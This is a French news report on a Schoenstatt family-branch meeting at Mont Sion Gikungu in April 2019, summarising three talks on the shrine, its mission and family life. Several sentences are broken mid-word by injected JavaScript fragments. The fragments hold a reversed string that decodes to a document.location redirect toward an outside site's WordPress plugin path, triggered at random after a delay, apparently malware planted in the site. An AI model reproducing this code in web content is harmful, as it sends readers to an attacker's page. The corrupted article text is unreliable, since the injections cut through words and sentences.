Depuis le Jeudi 24 avril, la salle du centre Joseph Engling au Mont Sion Gikungu, a reçu les membres du comité de la branche de l’Œuvre des Familles de Schoenstatt (OFS).
Ces sont les couples qui sont venus de tous les diocèses. Ils ont été chaleureusement accueillis par l’aumônier de la branche, le Père Longin NTIRANYIBAGIRA, lui-même qui a animé la première conférence ce matin du vendredi le 26 avril. « Le jubilé de nos sanctuaire » est le thème de ladite conférence. « Le sanctuaire est un lieu de pèlerinage où la Mère de Dieu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne ses grâces, a dit le Père Longin.
Selon lui, dans le Sanctuaire, on vient pour contempler la splendeur du Seigneur et savourer son amour si grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. « C’est n’est pas un lieu de refuge ajoute-il. Il a alors évoqué les cas de ceux qui viennent dans le Sanctuaire pour y passer leur temps, parce qu’ils ont peur de rester à la maison, à cause des problèmes familiaux. « Devant les difficultés, le remède ne pas de reculer et s’enfuir martèle-il, nous sommes appelés à avoir confiance en Dieu. » Le Sanctuaire aide selon lui, les pèlerins à voir se manifester la gloire de Dieu dans leur vie, sinon c’est rien.
C’est qui est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dommage, est comme le dit le conférencier, le fait de chercher la solution le plus rapidement possible : « La patience nous manque énormément, a-t-il souligné. Le Père Joseph Kentenich, le fondateur de la famille de Schoenstatt, lui aussi a dit que la vie grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andit progressivement et pas à pas. Et le Père Longin d’ajouter que dans Schooenstatt, on y rencontre le chemin et le temps à prendre pour attendre la réussite, tout en ayant confiance en Dieu.
Il a terminé son audience en invitant tous les participants a être forts dans la foi en la Providence Divine pour pouvoir vivre dans ce monde plein de changements.
Le thème de la deuxième conférence a été présenté depuis 10 heures par la sœur Virginie NDAYISABA, une des Sœurs de Schoenstatt. Elle leurs a parlé de la Mission originelle du Sanctuaire dans les temps nouveaux.
Le Sanctuaire est la source de toutes les grâces, et cela fait qu’elle soit pour Sœur Virginie l’origine de tout apostolat. Elle a fait savoir aux participants que le monde d’aujourd’hui est affronté par pas mal de changements que certains prennent comme modernisation. Les participants sont eux aussi convaincus que le monde change de temps en temps et ils ont évoqué certains exemples illustratifs.
C’est une question pertinente, tout le monde s’inquiète. La Sœur a dit un mot tranquillisant : « Le Sanctuaire de Schoenstatt est une réponse aux défis des temps nouveaux. » Elle a rassuré que Marie veut changer le monde en passant par la famille. Selon la Sœur, la spiritualité de Schoenstatt et les paroles du fondateur restent toujours à jour pour aider ceux qui veullent rester dans le bon chemin.
La troisième conférence a été animée par un couple pour faire savoir à ces intervenants comment faire pour se développer et le bon usage des biens de la famille.
« Dieu nous a créé et nous suit tous les jours, nous devons l’aider par les forces qu’il nous a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné à la continuation de son œuvre. » c’est ainsi qu’a commencé la conférencière en leurs rappelant que le développement familial engage tous les trois : le Père, la Mère et les enfants. « Chacun toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit se toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner pour le bien être des autres membres de sa famille, dit-elle. C’est ainsi qu’elle leurs a révélé un secret : « voilà quatre chose à faire pour que votre foyer soit développé : la prière, le dialogue, faire très bien son devoir et le partage. » Elle a essayé d’expliquer point par point ces quatre principes en montrant le rôle que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit avoir chacun dans la famille.
Après toutes ces conférences, ils ont eu une occasion d’échanger d’expérience. Nous tenons à vous signaler que cette rencontre a pris fin ce samedi 27 avril 2019.
Brigitte IRAKOZE.